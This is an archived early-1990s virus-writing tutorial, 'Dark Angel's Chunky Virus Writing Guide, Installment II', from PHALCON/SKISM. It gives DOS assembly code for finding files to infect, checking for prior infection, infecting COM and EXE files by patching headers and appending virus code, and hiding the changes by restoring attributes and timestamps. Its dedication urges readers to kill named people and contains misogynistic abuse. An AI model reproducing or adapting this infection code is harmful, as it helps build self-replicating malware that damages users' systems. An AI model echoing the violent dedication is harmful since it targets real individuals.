💾 Archived View for spam.works › mirrors › textfiles › virus › vir2.txt captured on 2023-06-16 at 21:05:21.

View Raw

More Information

-=-=-=-=-=-=-

      //==//  //  //  /||      //      //====  //==//  //|   //
     //  //  //  //  //||     //      //      //  //  //||  //
    //==//  //==//  //=||    //      //      //  //  // || //
   //      //  //  //  ||   //      //      //  //  //  ||//
  //      //  //  //   ||  //====  //====  //==//  //   ||/
  
     /====   // //     //  /====   /|   /|
    //      // //     //  //      //|  //|
    ===\   // //     //   ===\   //|| //||
      //  //  \\    //      //  // ||// ||
  ====/  //    \\  //   ====/  //  ||/  ||
  
  ??????????????????????????????????????????????
  DISCLAIMER: Pretend you see a disclaimer here.
    99.44% of the code guaranteed to work.
  ??????????????????????????????????????????????
  DEDICATION: Please try your best to kill those
    who made this possible, especially that dumb
    bitch who doesn't know her own name (Patty),
    and her lover Ross M. Greenberg.
  ??????????????????????????????????????????????
  GREETS -N- STUFF: Greets go to all the members
    of PHALCON/SKISM.  I wish to give buckets o'
    thanks to Hellraiser, Garbageheap, and Demo-
    gorgon.  No thanks this time to Orion Rouge,
    the godly master of idiocy.
  ??????????????????????????????????????????????
  
  Dark Angel's Chunky Virus Writing Guide
  ???? ??????? ?????? ????? ??????? ?????
  
  ???????????????????????????????
  INSTALLMENT II:  THE REPLICATOR
  ???????????????????????????????
  
  In the  last installment of my Virus Writing Guide, I explained the various
  parts of  a virus  and went  into a  brief discussion  about each.  In this
  issue, I  shall devote  all my  attention towards the replicator portion of
  the virus.  I promised code and code I shall present.
  
  However, I  shall digress  for a moment because it has come to my attention
  that some  mutant  copies  of  the  first  installment  were  inadvertently
  released.   These copies  did not  contain a  vital section  concerning the
  calculation of offsets.
  
  You never  know where  your variables  and code  are going  to wind  up  in
  memory.   If you think a bit, this should be pretty obvious.  Since you are
  attaching the  virus to  the end  of a  program, the  location in memory is
  going to  be changed,  i.e. it  will be  larger by the size of the infected
  program.   So, to  compensate, we  must take  the change in offset from the
  original virus,  or the  delta offset,  and add  that to  all references to
  variables.
  
  Instructions that  use displacement,  i.e. relative  offsets, need  not  be
  changed.   These instructions are the JA, JB, JZ class of instructions, JMP
  SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of,
  say, JMP FAR PTR.
  
  Suppose in  the following  examples, si  is somehow  loaded with  the delta
  offset.
  
  Replace
    mov ax, counter
  With
    mov ax, word ptr [si+offset counter]
  
  Replace
    mov dx, offset message
  With
    lea dx, [si+offset message]
  
  You may  be asking, "how the farg am I supposed to find the delta offset!?"
  It is simple enough:
  
    call setup
  setup:
    pop  si
    sub  si, offset setup
  
  An explanation  of the  above fragment  is in order.  CALL setup pushes the
  location of the next instruction, i.e. offset setup, onto the stack.  Next,
  this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup
  (calculated at  compile-time) is  subtracted from  si, giving you the delta
  offset.   In the  original virus,  the delta offset will be 0, i.e. the new
  location of setup equals the old location of setup.
  
  It is  often preferable to use bp as your delta offset, since si is used in
  string instructions.  Use whichever you like.  I'll randomly switch between
  the two as suits my mood.
  
  Now back to the other stuff...
  
  A biological  virus is a parasitic "organism" which uses its host to spread
  itself.   It must keep the host alive to keep itself "alive."  Only when it
  has spread  everywhere will  the host  die a  painful, horrible death.  The
  modern electronic  virus is  no different.   It  attaches itself  to a host
  system and  reproduces until the entire system is fucked.  It then proceeds
  and neatly wrecks the system of the dimwit who caught the virus.
  
  Replication is  what distinguishes  a virus  from a simple trojan.  Anybody
  can write  a trojan,  but a  virus is  much more  elegant.   It acts almost
  invisibly, and  catches the victim off-guard when it finally surfaces.  The
  first question  is, of  course, how  does a virus spread?  Both COM and EXE
  infections (along with sample infection routines) shall be presented.
  
  There are  two major  approaches to  virii: runtime and TSR.  Runtime virii
  infect, yup,  you guessed  it, when  the infected program is run, while TSR
  virii go  resident  when  the  infected  programs  are  run  and  hook  the
  interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon
  termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and
  disadvantages to  each.   Runtime virii  are harder to detect as they don't
  show up on memory maps, but, on the other hand, the delay while it searches
  for and  infects a file may give it away.  TSR virii, if not properly done,
  can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in
  general, smaller  since they  don't need  a function to search for files to
  infect.   They are  also faster than runtime virii, also because they don't
  have to  search for files to infect.  I shall cover runtime virii here, and
  TSR virii in a later installment.
  
  Here is a summary of the infection procedure:
       1) Find a file to infect.
       2) Check if it meets the infection criteria.
       3) See if it is already infected and if so, go back to 1.
       4) Otherwise, infect the file.
       5) Cover your tracks.
  
  I shall  go through  each of  these steps and present sample code for each.
  Note that  although a  complete virus  can be  built from  the  information
  below, you  cannot merely  rip the  code out  and stick it together, as the
  fragments are  from various  different virii that I have written.  You must
  be somewhat  familiar with assembly.  I present code fragments; it is up to
  you to either use them as examples or modify them for your own virii.
  
  ??????????????????????????????
  STEP 1 - FIND A FILE TO INFECT
  ??????????????????????????????
  Before you  can infect  a file,  you have  to find it first!  This can be a
  bottleneck in  the performance  of the  virus, so  it  should  be  done  as
  efficiently as possible.  For runtime virii, there are a few possibilities.
  You could  infect files in only the current directory, or you could write a
  directory traversal function to infect files in ALL directories (only a few
  files per  run, of  course), or you could infect files in only a few select
  directories.   Why would  you choose  to only  infect files  in the current
  directory?   It would  appear to  limit the  efficacy  of  the  infections.
  However, this  is done  in some  virii either  to speed  up the virus or to
  shorten the code size.
  
  Here is a directory traversal function.  It uses recursion, so it is rather
  slow, but it does the job.  This was excerpted with some modifications from
  The Funky Bob Ross Virus [Beta].
  
  traverse_fcn proc    near
          push    bp                      ; Create stack frame
          mov     bp,sp
          sub     sp,44                   ; Allocate space for DTA
  
          call    infect_directory        ; Go to search & destroy routines
  
          mov     ah,1Ah                  ;Set DTA
          lea     dx,word ptr [bp-44]     ; to space allotted
          int     21h                     ;Do it now!
  
          mov     ah, 4Eh                 ;Find first
          mov     cx,16                   ;Directory mask
          lea     dx,[si+offset dir_mask] ; *.*
          int     21h
          jmp     short isdirok
  gonow:
          cmp     byte ptr [bp-14], '.'   ; Is first char == '.'?
          je      short donext            ; If so, loop again
          lea     dx,word ptr [bp-14]     ; else load dirname
          mov     ah,3Bh                  ; and changedir there
          int     21h
          jc      short donext              ; Do next if invalid
          inc     word ptr [si+offset nest] ; nest++
          call    near ptr traverse_fcn     ; recurse directory
  donext:
          lea     dx,word ptr [bp-44]     ; Load space allocated for DTA
          mov     ah,1Ah                  ; and set DTA to this new area
          int     21h                     ; 'cause it might have changed
  
          mov     ah,4Fh                  ;Find next
          int     21h
  isdirok:
          jnc     gonow                   ; If OK, jmp elsewhere
          cmp     word ptr [si+offset nest], 0 ; If root directory
                                               ;  (nest == 0)
          jle     short cleanup                ; then Quit
          dec     word ptr [si+offset nest]    ; Else decrement nest
          lea     dx, [si+offset back_dir]; '..'
          mov     ah,3Bh                  ; Change directory
          int     21h                     ; to previous one
  cleanup:
          mov     sp,bp
          pop     bp
          ret
  traverse_fcn endp
  
  ; Variables
  nest     dw     0
  back_dir db     '..',0
  dir_mask db     '*.*',0
  
  The code  is self-explanatory.   Make  sure  you  have  a  function  called
  infect_directory which scans the directory for possible files to infect and
  makes sure  it doesn't  infect already-infected  files.   This function, in
  turn, calls infect_file which infects the file.
  
  Note, as  I said  before, this  is slow.   A  quicker method, albeit not as
  global, is  the "dot  dot" method.   Hellraiser  showed me this neat little
  trick.   Basically, you  keep searching  each directory and, if you haven't
  infected enough,  go to the previous directory (dot dot) and try again, and
  so on.  The code is simple.
  
  dir_loopy:
          call    infect_directory
          lea     dx, [bp+dotdot]
          mov     ah, 3bh                 ; CHDIR
          int     21h
          jnc     dir_loopy               ; Carry set if in root
  
  ; Variables
  dotdot  db      '..',0
  
  Now you  must find a file to infect.  This is done (in the fragments above)
  by a  function called infect_directory.  This function  calls FINDFIRST and
  FINDNEXT a  couple of  times to find files to infect.  You should first set
  up a  new DTA.  NEVER use the DTA in the PSP (at 80h) because altering that
  will affect  the command-line  parameters  of  the  infected  program  when
  control is returned to it.  This is easily done with the following:
  
          mov     ah, 1Ah                 ; Set DTA
          lea     dx, [bp+offset DTA]     ; to variable called DTA (wow!)
          int     21h
  
  Where DTA  is a 42-byte chunk of memory.  Next, issue a series of FINDFIRST
  and FINDNEXT calls:
  
          mov     ah, 4Eh                 ; Find first file
          mov     cx, 0007h               ; Any file attribute
          lea    dx, [bp+offset file_mask]; DS:[DX] --> filemask
          int     21h
          jc      none_found
  found_another:
          call    check_infection
          mov     ah, 4Fh                 ; Find next file
          int     21h
          jnc     found_another
  none_found:
  
  Where file_mask  is DBed  to either '*.EXE',0 or '*.COM',0.  Alternatively,
  you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
  
  ????????????????????????????????????????
  STEP 2 - CHECK VERSUS INFECTION CRITERIA
  ????????????????????????????????????????
  Your virus  should be  judicious in  its infection.  For example, you might
  not want  to  infect  COMMAND.COM,  since  some  programs  (i.e.  the  puny
  FluShot+) check its CRC or checksum on runtime.  Perhaps you do not wish to
  infect the  first valid file in the directory.  Ambulance Car is an example
  of such  a virus.   Regardless,  if there  is some  infection criteria, you
  should check  for it  now.   Here's example  code checking  if the last two
  letters are 'ND', a simple check for COMMAND.COM:
  
          cmp     word ptr [bp+offset DTA+35], 'DN'  ; Reverse word order
          jz      fail_check
  
  ?????????????????????????????????????
  STEP 3 - CHECK FOR PREVIOUS INFECTION
  ?????????????????????????????????????
  Every virus has certain characteristics with which you can identify whether
  a file  is infected  already.   For example,  a certain  piece of  code may
  always occur  in a  predictable place.   Or  perhaps the JMP instruction is
  always coded  in the  same manner.   Regardless,  you should make sure your
  virus has  a marker  so that  multiple infections  of the  same file do not
  occur.  Here's an example of one such check (for a COM file infector):
  
          mov     ah,3Fh                          ; Read first three
          mov     cx, 3                           ; bytes of the file
          lea     dx, [bp+offset buffer]          ; to the buffer
          int     21h
  
          mov     ax, 4202h                       ; SEEK from EOF
          xor     cx, cx                          ; DX:CX = offset
          xor     dx, dx                          ; Returns filesize
          int     21h                             ; in DX:AX
  
          sub     ax, virus_size + 3
          cmp     word ptr [bp+offset buffer+1], ax
          jnz     infect_it
  
  bomb_out:
          mov     ah, 3Eh                         ; else close the file
          int     21h                             ;  and go find another
  
  In this  example, BX  is assumed to hold a file handle to the program to be
  checked for  infection and virus_size equals the size of the virus.  Buffer
  is assumed  to be  a three-byte  area of  empty space.   This code fragment
  reads the  first three bytes into buffer and then compares the JMP location
  (located in  the word  beginning at  buffer+1) to  the filesize  If the JMP
  points to  virus_size bytes  before the  EOF,  then  the  file  is  already
  infected with  this virus.   Another method would be to search at a certain
  location in the file for a marker byte or word.  For example:
  
          mov     ah, 3Fh                         ; Read the first four
          mov     cx, 4                           ; bytes of the file into
          lea     dx, [bp+offset buffer]          ; the buffer.
          int     21h
  
          cmp     byte ptr [buffer+3], infection_id_byte ; Check the fourth
          jz      bomb_out                        ; byte for the marker
  infect_it:
  
  ????????????????????????
  STEP 4 - INFECT THE FILE
  ????????????????????????
  This is  the "guts"  of the  virus, the  heart of the replicator.  Once you
  have located  a potential  file, you  must save the attributes, time, date,
  and size for later use.  The following is a breakdown of the DTA:
  
    Offset     Size      What it is
      0h       21 BYTES  Reserved, varies as per DOS version
     15h       BYTE      File attribute
     16h       WORD      File time
     18h       WORD      File date
     1Ah       DWORD     File size
     1Eh       13 BYTES  ASCIIZ filename + extension
  
  As you can see, the DTA holds all the vital information about the file that
  you need.  The following code fragment is a sample of how to save the info:
  
          lea  si, [bp+offset DTA+15h]            ; Start from attributes
          mov  cx, 9                              ; Finish with size
          lea  di, [bp+offset f_attr]             ; Move into your locations
          rep  movsb
  ; Variables needed
  f_attr  db   ?
  f_time  dw   ?
  f_date  dw   ?
  f_size  dd   ?
  
  You can  now change the file attributes to nothing through INT 21h/Function
  43h/Subfunction 01h.   This  is to  allow infection  of system, hidden, and
  read only  files.   Only primitive  (or minimal)  virii cannot  handle such
  files.
  
          lea  dx, [bp+offset DTA+1eh]            ; DX points to filename in
          mov  ax, 4301h                          ; DTA
          xor  cx, cx                             ; Clear file attributes
          int  21h                                ; Issue the call
  
  Once the  attributes have  been annihilated,  you may  open the  file  with
  callous impunity.  Use a handle open in read/write mode.
  
          lea  dx, [bp+offset DTA+1eh]            ; Use filename in DTA
          mov  ax, 3d02h                          ; Open read/write mode
          int  21h                                ; duh.
          xchg ax, bx                             ; Handle is more useful in
                                                  ; BX
  
  Now we come to the part you've all been waiting for: the infection routine.
  I am  pleased to present code which will handle the infection of COM files.
  Yawn, you  say, I can already do that with the information presented in the
  previous installment.   Ah,  but there  is more,  much more.   A sample EXE
  infector shall also be presented shortly.
  
  The theory  behind COM  file infection was covered in the last installment,
  so I shall not delve into the details again.  Here is a sample infector:
  
  ; Sample COM infector.  Assumes BX holds the file handle
  ; Assume COM file passes infection criteria and not already infected
          mov     ah, 3fh
          lea     dx, [bp+buffer1]
          mov     cx, 3
          int     21h
  
          mov     ax, 4200h                       ; Move file pointer to
          xor     cx, cx                          ; the beginning of the
          xor     dx, dx                          ; file
          int     21h
  
          mov     byte ptr [bp+buffer2], 0e9h      ; JMP
          mov     ax, word ptr [bp+f_size]
          sub     ax, part1_size                   ; Usually 3
          mov     word ptr [bp+buffer2+1], ax      ; offset of JMP
  
  ; Encode JMP instruction to replace beginning of the file
          mov     byte ptr [bp+buffer2], 0e9h      ; JMP
          mov     ax, word ptr [bp+f_size]
          sub     ax, part1_size                   ; Usually 3
          mov     word ptr [bp+buffer2+1], ax      ; offset of JMP
  
  ; Write the JMP instruction to the beginning of the file
          mov     ah, 40h                          ; Write CX bytes to
          mov     cx, 3                            ; handle in BX from
          lea     dx, [bp+buffer2]                 ; buffer -> DS:[DX]
          int     21h
  
          mov     ax, 4202h                        ; Move file pointer to
          xor     cx, cx                           ; end of file
          xor     dx, dx
          int     21h
  
          mov     ah, 40h                          ; Write CX bytes
          mov     cx, endofvirus - startofpart2    ; Effective size of virus
          lea     dx, [bp+startofpart2]            ; Begin write at start
          int     21h
  
  ; Variables
  buffer1 db 3 dup (?)                             ; Saved bytes from the
                                                   ; infected file to restore
                                                   ; later
  buffer2 db 3 dup (?)                             ; Temp buffer
  
  After some  examination, this code will prove to be easy to understand.  It
  starts by reading the first three bytes into a buffer.  Note that you could
  have done  this in  an earlier  step, such  as when  you are checking for a
  previous infection.   If  you have  already done  this, you obviously don't
  need to  do it again.  This buffer must be stored in the virus so it can be
  restored later when the code is executed.
  
  EXE infections  are also  simple, although  a  bit  harder  to  understand.
  First, the thoery.  Here is the format of the EXE header:
  
   Ofs Name                Size      Comments
   00  Signature           2 bytes   always 4Dh 5Ah (MZ)
  *02  Last Page Size      1 word    number of bytes in last page
  *04  File Pages          1 word    number of 512 byte pages
   06  Reloc Items         1 word    number of entries in table
   08  Header Paras        1 word    size of header in 16 byte paras
   0A  MinAlloc            1 word    minimum memory required in paras
   0C  MaxAlloc            1 word    maximum memory wanted in paras
  *0E  PreReloc SS         1 word    offset in paras to stack segment
  *10  Initial SP          1 word    starting SP value
   12  Negative checksum   1 word    currently ignored
  *14  Pre Reloc IP        1 word    execution start address
  *16  Pre Reloc CS        1 word    preadjusted start segment
   18  Reloc table offset  1 word    is offset from start of file)
   1A  Overlay number      1 word    ignored if not overlay
   1C  Reserved/unused     2 words
  * denotes bytes which should be changed by the virus
  
  To understand  this, you  must first  realise that EXE files are structured
  into segments.  These segments may begin and end anywhere.  All you have to
  do to  infect an EXE file is tack on your code to the end.  It will then be
  in its  own segment.  Now all you have to do is make the virus code execute
  before the  program code.   Unlike  COM  infections,  no  program  code  is
  overwritten, although  the header  is modified.   Note  the virus can still
  have the  V1/V2 structure,  but only V2 needs to be concatenated to the end
  of the infected EXE file.
  
  Offset 4  (File Pages)  holds the  size of the file divided by 512, rounded
  up.   Offset 2 holds the size of the file modulo 512.  Offset 0Eh holds the
  paragraph displacement  (relative to  the end of the header) of the initial
  stack segment  and Offset 10h holds the displacement (relative to the start
  of the  stack segment)  of the initial stack pointer.  Offset 16h holds the
  paragraph displacement of the entry point relative to the end of the header
  and offset  14h holds the displacement entry point relative to the start of
  the entry  segment.   Offset 14h  and 16h are the key to adding the startup
  code (the virus) to the file.
  
  Before you  infect the  file, you  should save the CS:IP and SS:SP found in
  the EXE  header, as  you need  to restore  them upon  execution.  Note that
  SS:SP is NOT stored in Intel reverse-double-word format.  If you don't know
  what I'm  talking about, don't worry; it's only for very picky people.  You
  should also save the file length as you will need to use that value several
  times during  the infection  routine.   Now it's  time  to  calculate  some
  offsets!   To find  the new  CS:IP and  SS:SP, use  the following code.  It
  assumes the file size is loaded in DX:AX.
  
          mov     bx, word ptr [bp+ExeHead+8]    ; Header size in paragraphs
               ;  ^---make sure you don't destroy the file handle
          mov     cl, 4                          ; Multiply by 16.  Won't
          shl     bx, cl                         ; work with headers > 4096
                                                 ; bytes.  Oh well!
          sub     ax, bx                         ; Subtract header size from
          sbb     dx, 0                          ; file size
    ; Now DX:AX is loaded with file size minus header size
          mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX
          div     cx
  
  This code  is rather inefficient.  It would probably be easier to divide by
  16 first  and then perform a straight subtraction from AX, but this happens
  to be  the code  I chose.   Such is life. However, this code does have some
  advantages over  the more  efficient one.   With this, you are certain that
  the IP  (in DX)  will be under 15.  This allows the stack to be in the same
  segment as the entry point, as long as the stack pointer is a large number.
  
  Now AX*16+DX  points to  the end  of code.  If the virus begins immediately
  after the  end of the code, AX and DX can be used as the initial CS and IP,
  respectively.   However, if  the virus  has some junk (code or data) before
  the entry  point, add the entry point displacement to DX (no ADC with AX is
  necessary since DX will always be small).
  
          mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
          mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in module
  
  The SP  and SS  can now  be calculated.   The  SS is  equal to the CS.  The
  actual value  of the SP is irrelevant, as long as it is large enough so the
  stack will  not overwrite code (remember: the stack grows downwards).  As a
  general rule,  make sure the SP is at least 100 bytes larger than the virus
  size.  This should be sufficient to avoid problems.
  
          mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS
          mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
  
  All that  is left  to fiddle  in the  header is the file size.  Restore the
  original file  size from  wherever you  saved it  to DX:AX.   To  calculate
  DX:AX/512 and DX:AX MOD 512, use the following code:
  
          mov     cl, 9                           ; Use shifts again for
          ror     dx, cl                          ; division
          push    ax                              ; Need to use AX again
          shr     ax, cl
          adc     dx, ax                          ; pages in dx
          pop     ax
          and     ah, 1                           ; mod 512 in ax
  
          mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in
          mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.
  
  All that is left is writing back the EXE header and concatenating the virus
  to the end of the file.  You want code?  You get code.
  
          mov     ah, 3fh                         ; BX holds handle
          mov     cx, 18h                         ; Don't need entire header
          lea     dx, [bp+ExeHead]
          int     21h
  
          call    infectexe
  
          mov     ax, 4200h                       ; Rewind to beginning of
          xor     cx, cx                          ; file
          xor     dx, dx
          int     21h
  
          mov     ah, 40h                         ; Write header back
          mov     cx, 18h
          lea     dx, [bp+ExeHead]
          int     21h
  
          mov     ax, 4202h                       ; Go to end of file
          xor     cx, cx
          xor     dx, dx
          int     21h
  
          mov     ah, 40h                         ; Note: Only need to write
          mov     cx, part2size                   ;       part 2 of the virus
          lea     dx, [bp+offset part2start]      ;      (Parts of virus
          int     21h                             ;       defined in first
                                                  ;       installment of
                                                  ;       the guide)
  
  Note that this code alone is not sufficient to write a COM or EXE infector.
  Code is also needed to transfer control back to the parent program.  The
  information needed to do this shall be presented in the next installment.
  In the meantime, you can try to figure it out on your own; just remember
  that you must restore all that you changed.
  
  ??????????????????????????
  STEP 5 - COVER YOUR TRACKS
  ??????????????????????????
  This step,  though simple  to do, is too easily neglected.  It is extremely
  important, as a wary user will be alerted to the presence of a virus by any
  unnecessary updates  to a  file.   In its  simplest form,  it involves  the
  restoration of   file  attributes, time  and date.   This  is done with the
  following:
  
          mov     ax, 5701h                      ; Set file time/date
          mov     dx, word ptr [bp+f_date]       ; DX = date
          mov     cx, word ptr [bp+f_time]       ; CX = time
          int     21h
  
          mov     ah, 3eh                        ; Handle close file
          int     21h
  
          mov     ax, 4301h                      ; Set attributes
          lea     dx, [bp+offset DTA + 1Eh]      ; Filename still in DTA
          xor     ch, ch
          mov     cl, byte ptr [bp+f_attrib]     ; Attribute in CX
          int     21h
  
  Remember also to restore the directory back to the original one if it
  changed during the run of the virus.
  
  ??????????????
  WHAT'S TO COME
  ??????????????
  I have been pleased with the tremendous response to the last installment of
  the guide.   Next  time, I  shall cover  the rest  of the  virus as well as
  various tips  and common tricks helpful in writing virii.  Until then, make
  sure you  look for  40Hex, the  official PHALCON/SKISM  magazine, where  we
  share tips and information pertinent to the virus community.